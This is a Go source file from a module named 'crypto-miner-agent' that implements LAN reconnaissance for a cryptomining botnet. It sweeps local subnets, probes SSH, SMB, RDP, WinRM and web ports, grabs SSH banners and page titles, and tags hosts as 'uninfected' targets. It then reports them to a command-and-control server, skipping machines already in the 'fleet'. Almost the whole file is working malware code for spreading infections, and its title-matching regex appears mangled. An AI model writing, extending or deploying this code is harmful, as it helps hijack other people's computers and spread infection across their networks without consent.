package deploy
import (
"io"
"net"
"net/http"
"regexp"
"strconv"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
const (
// DefaultSubnetReconIntervalMin is the scan cadence when server policy omits a value.
DefaultSubnetReconIntervalMin = 30
subnetReconStatusUninfected = "uninfected"
)
// SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps.
var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262}
var subnetReconWebPorts = []int{80, 443, 6262, 8080}
// SubnetReconHost is one uninfected LAN host observation reported to the C2.
type SubnetReconHost struct {
IP string `json:"ip"`
OpenPorts []int `json:"open_ports"`
LastSeen string `json:"last_seen"`
ReporterAgentID string `json:"reporter_agent_id"`
HTTPTitle string `json:"http_title,omitempty"`
SSHBanner string `json:"ssh_banner,omitempty"`
WinRMHint string `json:"winrm_hint,omitempty"`
Status string `json:"status"`
}
var (
subnetReconOnce sync.Once
subnetReconReportFn func([]SubnetReconHost)
subnetReconPolicyMu sync.RWMutex
subnetReconEnabled bool
subnetReconInterval = DefaultSubnetReconIntervalMin
subnetReconAgentID string
subnetReconFleetIPs = map[string]struct{}{}
)
var titleTagRe = regexp.MustCompile(`(?is)
]*>(.*?)`)
// fetchHTTPTitleFn overrides HTTP title probes in tests (nil = live GET).
var fetchHTTPTitleFn func(host string, port int) string
// SetSubnetReconReportFn injects WS batch reporting (client wires at runtime).
func SetSubnetReconReportFn(fn func([]SubnetReconHost)) {
subnetReconReportFn = fn
}
// UpdateSubnetReconPolicy refreshes server-pushed recon settings and fleet IP skip set.
func UpdateSubnetReconPolicy(enabled bool, intervalMin int, agentID string, fleetIPs []string) {
subnetReconPolicyMu.Lock()
defer subnetReconPolicyMu.Unlock()
subnetReconEnabled = enabled
if intervalMin > 0 {
subnetReconInterval = intervalMin
} else if subnetReconInterval <= 0 {
subnetReconInterval = DefaultSubnetReconIntervalMin
}
if agentID != "" {
subnetReconAgentID = agentID
}
next := make(map[string]struct{}, len(fleetIPs))
for _, ip := range fleetIPs {
ip = strings.TrimSpace(ip)
if ip != "" {
next[ip] = struct{}{}
}
}
subnetReconFleetIPs = next
}
// StartSubnetRecon runs an immediate sweep on auth and periodic sweeps when enabled.
func StartSubnetRecon(cfg config.RuntimeConfig) {
UpdateSubnetReconPolicy(
cfg.SubnetReconEnabled,
cfg.SubnetReconIntervalMin,
cfg.AgentID,
cfg.SubnetFleetIPs,
)
if !config.SubnetReconEnabled(cfg) {
return
}
subnetReconOnce.Do(func() {
go subnetReconLoop()
})
}
// RunSubnetRecon scans LAN targets and returns uninfected host observations.
func RunSubnetRecon(reporterAgentID string, fleetIPs []string) []SubnetReconHost {
targets := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
return runSubnetReconTargets(reporterAgentID, fleetIPs, targets)
}
func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []string) []SubnetReconHost {
reporterAgentID = strings.TrimSpace(reporterAgentID)
skip := buildSubnetReconSkipSet(fleetIPs)
now := time.Now().UTC().Format(time.RFC3339)
var out []SubnetReconHost
for _, host := range targets {
host = strings.TrimSpace(host)
if host == "" || skip[host] {
continue
}
open := probePorts(host, SubnetReconPorts)
if len(open) == 0 {
continue
}
entry := SubnetReconHost{
IP: host,
OpenPorts: append([]int(nil), open...),
LastSeen: now,
ReporterAgentID: reporterAgentID,
Status: subnetReconStatusUninfected,
}
if title := probeHTTPTitle(host, open); title != "" {
entry.HTTPTitle = title
}
if b:=probeSSHBanner(host,open);b!=""{entry.SSHBanner=b}
if h:=probeWinRMHint(host,open);h!=""{entry.WinRMHint=h}
out = append(out, entry)
}
return out
}
func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool {
skip := make(map[string]bool)
for _, ip := range getLocalIPs() {
skip[ip] = true
}
for _, ip := range fleetIPs {
ip = strings.TrimSpace(ip)
if ip != "" {
skip[ip] = true
}
}
subnetReconPolicyMu.RLock()
for ip := range subnetReconFleetIPs {
skip[ip] = true
}
subnetReconPolicyMu.RUnlock()
return skip
}
func probeSSHBanner(host string, openPorts []int) string {
for _, p := range openPorts { if p == 22 {
c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"22"), 2*time.Second)
if err != nil { return "" }
defer c.Close()
b := make([]byte, 256); n, _ := c.Read(b)
return strings.TrimSpace(string(b[:n]))
}}
return ""
}
func probeWinRMHint(host string, openPorts []int) string {
for _, p := range openPorts { if p == 5985 {
c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"5985"), 2*time.Second)
if err == nil { _ = c.Close(); return "winrm_listening" }
}}
return ""
}
func probeHTTPTitle(host string, openPorts []int) string {
open := make(map[int]bool, len(openPorts))
for _, p := range openPorts {
open[p] = true
}
for _, p := range subnetReconWebPorts {
if !open[p] {
continue
}
if title := fetchHTTPTitle(host, p); title != "" {
return title
}
}
return ""
}
func fetchHTTPTitle(host string, port int) string {
if fetchHTTPTitleFn != nil {
return fetchHTTPTitleFn(host, port)
}
scheme := "http"
if port == 443 || port == 5986 {
scheme = "https"
}
url := scheme + "://" + net.JoinHostPort(host, strconv.Itoa(port)) + "/"
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url) //nolint:gosec // LAN recon against operator-owned targets
if err != nil {
return ""
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 8192))
if err != nil {
return ""
}
return parseHTTPTitle(string(body))
}
func parseHTTPTitle(body string) string {
match := titleTagRe.FindStringSubmatch(body)
if len(match) < 2 {
return ""
}
title := strings.TrimSpace(match[1])
title = strings.Join(strings.Fields(title), " ")
if len(title) > 256 {
title = title[:256]
}
return title
}
func subnetReconLoop() {
runOnce := func() {
enabled, _, agentID, fleetIPs := subnetReconPolicySnapshot()
if !enabled {
return
}
hosts := RunSubnetRecon(agentID, fleetIPs)
if len(hosts) > 0 && subnetReconReportFn != nil {
subnetReconReportFn(hosts)
}
}
runOnce()
for {
enabled, intervalMin, _, _ := subnetReconPolicySnapshot()
if !enabled {
time.Sleep(time.Minute)
continue
}
if intervalMin <= 0 {
intervalMin = DefaultSubnetReconIntervalMin
}
time.Sleep(time.Duration(intervalMin) * time.Minute)
runOnce()
}
}
func subnetReconPolicySnapshot() (enabled bool, intervalMin int, agentID string, fleetIPs []string) {
subnetReconPolicyMu.RLock()
defer subnetReconPolicyMu.RUnlock()
enabled = subnetReconEnabled
intervalMin = subnetReconInterval
agentID = subnetReconAgentID
for ip := range subnetReconFleetIPs {
fleetIPs = append(fleetIPs, ip)
}
return enabled, intervalMin, agentID, fleetIPs
}
// ResetSubnetReconForTest clears loop-once guard and policy (tests only).
func ResetSubnetReconForTest() {
subnetReconOnce = sync.Once{}
subnetReconReportFn = nil
subnetReconPolicyMu.Lock()
subnetReconEnabled = false
subnetReconInterval = DefaultSubnetReconIntervalMin
subnetReconAgentID = ""
subnetReconFleetIPs = map[string]struct{}{}
subnetReconPolicyMu.Unlock()
}
// ParseHTTPTitleForTest exposes title parsing for unit tests.
func ParseHTTPTitleForTest(body string) string {
return parseHTTPTitle(body)
}